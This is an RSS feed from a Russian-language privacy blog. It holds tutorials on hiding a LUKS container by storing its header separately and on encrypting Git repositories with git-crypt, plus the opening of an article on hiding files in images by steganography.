<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>c r y p t o p u n k s</title>
    <description>https://cryptopunks.org site</description>
    <link>https://cryptopunks.org</link>
    <atom:link href="https://cryptopunks.org/feed.xml" rel="self" type="application/rss+xml" />
    
      <item>
        <title>Маскируем LUKS-контейнер под бинарный мусор</title>
        <description>&lt;p&gt;Про создание LUKS-контейнера я &lt;a href=&quot;/article/awesome+truecrypt+alternative+for+linux/&quot;&gt;уже когда-то рассказывал&lt;/a&gt;. Тогда предлагалось «замаскировать» его под видеоклип, просто поменяв расширение файла, но это помогло бы тебе лишь при визуальном осмотре. При тщательном анализе носителей (например, криминалистическим ПО, которое сортирует файлы по магическим числам и метаданным) такой файл, напротив, привлечёт к тебе лишнее внимание.&lt;/p&gt;

&lt;p&gt;Сегодня ты научишься отделять содержимое LUKS-раздела от его заголовка. Это позволит создать ситуацию, когда основной файл с данными выглядит как абсолютно случайный бинарный шум, не имеющий структуры.&lt;/p&gt;

&lt;p&gt;Ещё такой метод даёт преимущество в том, что контейнер можно безопасно хранить даже на публичных файлообменниках: без файла-заголовка атакующий даже не сможет начать перебор пароля, так как для него это просто бессмысленный набор байтов.&lt;/p&gt;

&lt;p&gt;Сразу предупрежу, что статья писалась для сверхпараноиков, поэтому если тебе ни перед кем не нужно прятать факт использования LUKS, то ряд моментов можно опустить.&lt;/p&gt;

&lt;h2 id=&quot;процесс-создания-контейнера-с-отдельным-заголовком&quot;&gt;Процесс создания контейнера с отдельным заголовком&lt;/h2&gt;

&lt;p&gt;Первое, с чем тебе необходимо определиться, — это размер контейнера.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Техническое замечание:&lt;/strong&gt; Чтобы файл реально выглядел как мусор, его нужно заполнить случайными данными. Если используешь &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fallocate&lt;/code&gt;, файл будет забит нулями, и область шифрования внутри него будет легко обнаружить с помощью анализа энтропии.&lt;/p&gt;

&lt;p&gt;Давай создадим файл размером 1Гб, заполненный случайными числами и дадим ему какое-нибудь неподозрительное название:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;dd &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/dev/urandom &lt;span class=&quot;nv&quot;&gt;of&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;~/temp_blob &lt;span class=&quot;nv&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1M &lt;span class=&quot;nv&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1024
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Далее инициализируй LUKS-контейнер, используя ключевую опцию &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--header&lt;/code&gt; (вынос заголовка в отдельный файл):&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;cryptsetup luksFormat &lt;span class=&quot;nt&quot;&gt;--header&lt;/span&gt; /tmp/head.file ~/temp_blob
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Теперь расшифруй контейнер, создай на нём файловую систему и закрой его:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;cryptsetup luksOpen &lt;span class=&quot;nt&quot;&gt;--header&lt;/span&gt; /tmp/head.file ~/temp_blob my_container
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;mkfs.ext4 /dev/mapper/my_container
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;cryptsetup luksClose my_container
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;как-это-работает&quot;&gt;Как это работает&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;head.file&lt;/code&gt; — это «мозги» твоего контейнера (заголовок), а &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;temp_blob&lt;/code&gt; — «тело» (данные). Без заголовка данные в &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;temp_blob&lt;/code&gt; превращаются для любого наблюдателя в математически неразличимый шум.&lt;/p&gt;

&lt;p&gt;Давай посмотрим, что скажет утилита &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file&lt;/code&gt; об этих объектах:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;file /tmp/head.file
head.file: LUKS encrypted file, ver 2, header size 16384...

&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;file ~/temp_blob
temp_blob: data
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;А теперь обрати внимание на их размеры:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-lh&lt;/span&gt; /tmp/head.file
&lt;span class=&quot;nt&quot;&gt;-rw-------&lt;/span&gt; 1 root root 16M Jan  4 18:04 head.file
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-lh&lt;/span&gt; ~/temp_blob
&lt;span class=&quot;nt&quot;&gt;-rw-r--r--&lt;/span&gt; 1 user user 1.0G Jan  4 18:03 temp_blob
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Как видишь, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;head.file&lt;/code&gt; занимает всего 16 мегабайт и однозначно определяется как заголовок какого-то криптоконтейнера, но какого именно — известно только тебе. Файл &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;head.file&lt;/code&gt; нужно сохранить в надёжном месте и по возможности на компьютере не хранить, чтобы не привлекать лишнего внимания.&lt;/p&gt;

&lt;p&gt;Сохрани его, например, в каком нибудь облаке, а с компьютера удали:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo shred&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; /tmp/head.file
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Файл &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;temp_blob&lt;/code&gt; при этом выглядит как обычный бинарный файл, который не вызовет подозрений у автоматизированных систем, так как у него отсутствуют сигнатуры. Поэтому его можно хранить где угодно. Хоть на общедоступном файловом сервере у всех на виду.&lt;/p&gt;

&lt;h2 id=&quot;алгоритм-использования&quot;&gt;Алгоритм использования&lt;/h2&gt;

&lt;p&gt;Получаешь заголовок (скачиваешь из своего защищенного источника) и кладёшь его, например, в &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/head.file&lt;/code&gt;.
Открываешь контейнер:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;cryptsetup luksOpen &lt;span class=&quot;nt&quot;&gt;--header&lt;/span&gt; /tmp/head.file ~/temp_blob my_container
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;mount /dev/mapper/my_container /mnt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;После работы размонтируй ФС, закрой контейнер и уничтожь заголовок:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;umount /mnt
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;cryptsetup luksClose my_container
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo shred&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; /tmp/head.file
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;о-чём-тебе-важно-помнить&quot;&gt;О чём тебе важно помнить&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Следы в браузере:&lt;/strong&gt; История загрузок может выдать факт скачивания файла заголовка. Используй &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl&lt;/code&gt;, или режим инкогнито в браузере.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;История shell:&lt;/strong&gt; Отключи сохранение истории команд у пользователя root, чтобы команды с путями к контейнеру не остались в системе.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Только ручной ввод&lt;/strong&gt; Не используй никакие скрипты и алиасы в шеллах, чтобы упростить работу с контейнером, вводи все команды вручную.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Использование tmpfs:&lt;/strong&gt; Крайне рекомендую тебе монтировать &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp&lt;/code&gt; в оперативную память (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tmpfs&lt;/code&gt;). В этом случае при перезагрузке заголовок исчезнет физически, даже если ты забудешь сделать &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shred&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;SSD и shred:&lt;/strong&gt; На современных SSD команда &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shred&lt;/code&gt; не гарантирует полного удаления данных. Хранение заголовка на USB-флешке или внутри другого зашифрованного раздела — более надежный вариант.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Swap-раздел/файл&lt;/strong&gt; Я бы рекомендовал отключить Swap в системе, чтобы после перезагрузки из него нельзя было ничего извлечь.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Утечки данных:&lt;/strong&gt; Помни, что ОС и софт могут создавать временные файлы или дампы памяти, содержащие данные, которые ты открывал внутри своего «невидимого» контейнера.&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Tue, 06 Jan 2026 00:00:00 +0000</pubDate>
        <link>https://cryptopunks.org//article/hide-luks-container/</link>
        <guid isPermaLink="true">https://cryptopunks.org//article/hide-luks-container/</guid>
      </item>
    
      <item>
        <title>Шифруем данные в git-репозитории</title>
        <description>&lt;p&gt;Где хранить важную текстовую информацию, которая постоянно изменяется, чтобы была возможность откатиться назад в случае ошибки или просмотреть историю всех изменений? Ответ очевиден — в Git!&lt;/p&gt;

&lt;p&gt;Но что делать, если обычного приватного репозитория на чужом сервере тебе недостаточно для хранения критической информации? Тут на подмогу приходит инструмент &lt;strong&gt;git-crypt&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;git-crypt — это расширение для Git, позволяющее прозрачно шифровать файлы в репозитории с помощью GPG. С его помощью ты можешь хранить секретные данные в открытых репозиториях: на сервер файлы улетают в зашифрованном виде, в то время как локальная работа с ними остается привычной и бесшовной.&lt;/p&gt;

&lt;p&gt;Шифровать можно как определенные файлы (например, конфиги с чувствительными данными), так и типы файлов по маске или весь репозиторий целиком.&lt;/p&gt;

&lt;h2 id=&quot;первичная-подготовка-системы&quot;&gt;Первичная подготовка системы&lt;/h2&gt;

&lt;p&gt;Естественно, сначала необходимо установить git-crypt на локальной машине. Инструкцию для разных систем можно найти &lt;a href=&quot;https://github.com/AGWA/git-crypt/blob/master/INSTALL.md&quot;&gt;вот тут&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;В Linux установка обычно производится командами &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apt install git-crypt&lt;/code&gt; или &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dnf install git-crypt&lt;/code&gt;. В macOS инструмент ставится через Homebrew: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;brew install git-crypt&lt;/code&gt;. Также можно собрать его из исходников непосредственно из Git-репозитория проекта.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;подготовка-репозитория&quot;&gt;Подготовка репозитория&lt;/h2&gt;

&lt;p&gt;Сначала создаем обычный Git-репозиторий:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;mkdir &lt;/span&gt;repo &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;repo
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;git init
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Теперь нужно выбрать стратегию управления доступом. У git-crypt есть два основных пути: использование &lt;strong&gt;симметричного ключа&lt;/strong&gt; (один файл на всех) или &lt;strong&gt;GPG-ключей&lt;/strong&gt; (асимметричное шифрование). Рассмотрим оба варианта.&lt;/p&gt;

&lt;h3 id=&quot;вариант-1-симметричный-ключ-простой-метод&quot;&gt;Вариант 1: Симметричный ключ (простой метод)&lt;/h3&gt;

&lt;p&gt;Создается единый файл-ключ (без парольной фразы), который шифрует данные.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Плюсы:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Максимально быстрая настройка.&lt;/li&gt;
  &lt;li&gt;Не нужно разбираться в инфраструктуре GPG.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Минусы:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Безопасность хранения:&lt;/strong&gt; файл ключа сам по себе не зашифрован. Если он утечет, данные будут скомпрометированы.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Трудности масштабирования:&lt;/strong&gt; если нужно отозвать доступ у одного человека, придется перешифровывать весь репозиторий новым ключом.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Создание и экспорт ключа&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;git-crypt init
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;git-crypt export-key secret_key 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Сохрани &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;secret_key&lt;/code&gt; в надежном месте!&lt;/p&gt;

&lt;h3 id=&quot;вариант-2-использование-gpg-более-гибкий-метод&quot;&gt;Вариант 2: Использование GPG (более гибкий метод)&lt;/h3&gt;

&lt;p&gt;Более безопасный подход, особенно для командной разработки. Здесь ты используешь существующие или новые GPG-пары (публичный/приватный ключ).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Плюсы:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Безопасность:&lt;/strong&gt; твои ключи могут быть защищены парольной фразой (passphrase), также ты сам выбираешь размер и тип ключа при генерации.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Удобство:&lt;/strong&gt; легко добавлять новых участников, просто импортируя их публичные ключи. Точно так же происходит отзыв неактуальных доступов.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Минусы:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Требует базового понимания работы GPG.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Добавление пользователя&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;
Узнай свой &lt;strong&gt;USER_ID&lt;/strong&gt; (Email или отпечаток) через &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gpg --list-keys&lt;/code&gt; и выполни:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;git-crypt init 
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;git-crypt add-gpg-user USER_ID
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;После этого в репозиторий добавится твой публичный ключ, которым будут шифроваться данные. Путь будет выглядеть примерно так: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.git-crypt/keys/default/0/ID_КЛЮЧА.gpg&lt;/code&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;настройка-объектов-шифрования&quot;&gt;Настройка объектов шифрования&lt;/h2&gt;

&lt;p&gt;Теперь определимся с тем, что именно мы будем шифровать. Для этого используется файл &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.gitattributes&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;шифруем-выборочные-файлы&quot;&gt;Шифруем выборочные файлы&lt;/h3&gt;
&lt;p&gt;Создаем файл &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.gitattributes&lt;/code&gt; в корне проекта:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-gitattributes&quot;&gt;wp-config.php filter=git-crypt diff=git-crypt
*.env filter=git-crypt diff=git-crypt
/certs/* filter=git-crypt diff=git-crypt
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;После коммита будет зашифрован файл &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wp-config.php&lt;/code&gt;, все файлы с расширением &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.env&lt;/code&gt; и все файлы в директории &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/certs/&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;шифруем-все-файлы-в-репозитории&quot;&gt;Шифруем все файлы в репозитории&lt;/h3&gt;
&lt;p&gt;Содержимое &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.gitattributes&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-gitattributes&quot;&gt;** filter=git-crypt diff=git-crypt
.gitattributes !filter !diff
.gitignore !filter !diff
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;При такой настройке абсолютно все файлы в репозитории (кроме &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.gitattributes&lt;/code&gt; и &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.gitignore&lt;/code&gt;) будут зашифрованы.&lt;/p&gt;

&lt;h3 id=&quot;завершение-настройки&quot;&gt;Завершение настройки&lt;/h3&gt;
&lt;p&gt;Добавляем правила в индекс и фиксируем изменения:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;git add .gitattributes
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;git commit &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Add git-crypt attributes&quot;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;git push 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Всё, теперь любые изменения в указанных файлах будут автоматически шифроваться перед отправкой на удалённый сервер.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;клонирование-зашифрованного-репозитория&quot;&gt;Клонирование зашифрованного репозитория&lt;/h2&gt;

&lt;p&gt;Если понадобится развернуть окружение на новой машине, выполни следующие шаги:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;git clone &amp;lt;URL&amp;gt; repo
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;repo
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Файлы после клонирования будут выглядеть как бинарный мусор. Чтобы их «проявить», нужно разблокировать репозиторий.&lt;/p&gt;

&lt;h3 id=&quot;если-использовался-симметричный-ключ&quot;&gt;Если использовался симметричный ключ&lt;/h3&gt;
&lt;p&gt;Скопируй ключ во временное хранилище (например, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/secret_key&lt;/code&gt;) и выполни:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;git-crypt unlock /tmp/secret_key
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;После этого не забудь уничтожить временный файл:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;shred&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; /tmp/secret_key
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;если-использовался-gpg-ключ&quot;&gt;Если использовался GPG-ключ&lt;/h3&gt;
&lt;p&gt;Просто введи команду:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;git-crypt unlock
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Программа попросит ввести пароль (passphrase) от твоего секретного GPG-ключа.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;о-чем-еще-стоит-помнить&quot;&gt;О чем еще стоит помнить&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Критический риск:&lt;/strong&gt; Если файл симметричного ключа попадет в чужие руки, злоумышленник получит мгновенный доступ ко всем секретам, так как этот ключ не защищен паролем. В случае с GPG риск ниже: даже при краже приватного ключа взломщику все равно придется подбирать парольную фразу (passphrase).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Анонимность:&lt;/strong&gt; GPG-ключи оставляют отпечатки, по которым можно идентифицировать владельца. Если нужна максимальная приватность, генерируй новую пару ключей специально для каждого отдельного репозитория.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Проверка:&lt;/strong&gt; Перед тем как пушить важные данные, добавь тестовый файл и убедись, что он зашифрован. Проверь это через веб-интерфейс (GitHub/GitLab) или склонируй репозиторий в другую директорию без выполнения &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unlock&lt;/code&gt; — файлы должны читаться как бинарные.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Производительность:&lt;/strong&gt; Если устройство слабое, а файлов очень много, процесс шифрования/расшифровки может занять время. Не торопись прерывать операции.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Бэкапы ключей:&lt;/strong&gt; Это критично. Если ты потеряешь GPG-ключ или симметричный файл &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;secret_key&lt;/code&gt;, данные в репозитории восстановить будет невозможно. Храни их в надежных менеджерах паролей, например, в &lt;strong&gt;KeePassXC&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Sat, 03 Jan 2026 00:00:00 +0000</pubDate>
        <link>https://cryptopunks.org//article/encrypt-your-git-repository/</link>
        <guid isPermaLink="true">https://cryptopunks.org//article/encrypt-your-git-repository/</guid>
      </item>
    
      <item>
        <title>Прячем секретный файл в картинку/фильм</title>
        <description>&lt;p&gt;У шифрованной информации есть несколько недостатков: тебя могут вынудить назвать пароль или ключ для её дешифровки, либо этими файлами можно привлечь внимание преступника, который каким-то образом украл эти данные, и он может пытаться расшифровать их. Но любую зашифрованную информацию можно замаскировать под что-нибудь другое.&lt;/p&gt;

&lt;h2 id=&quot;о-стеганографии&quot;&gt;О стеганографии&lt;/h2&gt;

&lt;p&gt;Стеганография — это метод скрытия важной информации внутри другой информации, так что наличие скрытой информации не вызывает подозрений. В отличие от шифрования, которое делает данные неразборчивыми для посторонних, стеганография маскирует сам факт существования дополнительной информации.&lt;/p&gt;

&lt;p&gt;Например, шифрованный файл может привлечь внимание, тогда как стеганографически замаскированный файл выглядит как обычный медиафайл, и с ним можно работать как если бы в нём ничего и не было дополнительно прописано.&lt;/p&gt;

&lt;p&gt;Сегодня я научу тебя прятать секретный файл внутри другого файла (картинки). Сделать это можно  тремя командами, которые есть в любой Unix-системе (в том числе в macOS и даже Windows). Но это будет один из самых простых и примитивных способов. Стеганография — гораздо более сложная наука, и для неё существует огромное количество инструментов для ещё большей маскировки.&lt;/p&gt;

&lt;h2 id=&quot;немного-теории&quot;&gt;Немного теории&lt;/h2&gt;

&lt;p&gt;Начало файла начинается с его заголовка, который содержит метаданные. Эти метаданные описывают его тип, адреса, с которых начинаются данные, и другие характеристики. Эти характеристики многочисленны и зависят от типа файлов.&lt;/p&gt;

&lt;p&gt;Просмотреть тип файла можно утилитой &lt;strong&gt;file&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ file image.jpg
image.jpg: JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=11, manufacturer=NIKON CORPORATION, model=NIKON D3100, orientation=upper-left, xresolution=180, yresolution=188, resolutionunit=2, software=Ver.1.01 , datetime=2025:01:26 16:28:02, GPS-Data], baseline, precision 8, 4608x3072, components 3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;По сути, заголовок выполняет функцию, аналогичную расширению файла, но содержит более сложную и детализированную информацию, что позволяет более точно управлять данными. Если поменять расширение у файла, то его заголовок никак не изменится.&lt;/p&gt;

&lt;p&gt;Прибегая к стеганографии, ты научишься дописывать один файл в конец другого. Таким образом, целостность сохранится, но в то же время, если знать, что в нём вшит другой файл, то его можно довольно легко извлечь.&lt;/p&gt;

&lt;h2 id=&quot;шифруем-файл-который-хотим-спрятать&quot;&gt;Шифруем файл, который хотим спрятать&lt;/h2&gt;

&lt;p&gt;Первым шагом всегда необходимо зашифровать файл. Хотя это не является обязательным, настоятельно рекомендуется делать это, так как стеганография наиболее эффективна в сочетании с шифрованием.&lt;/p&gt;

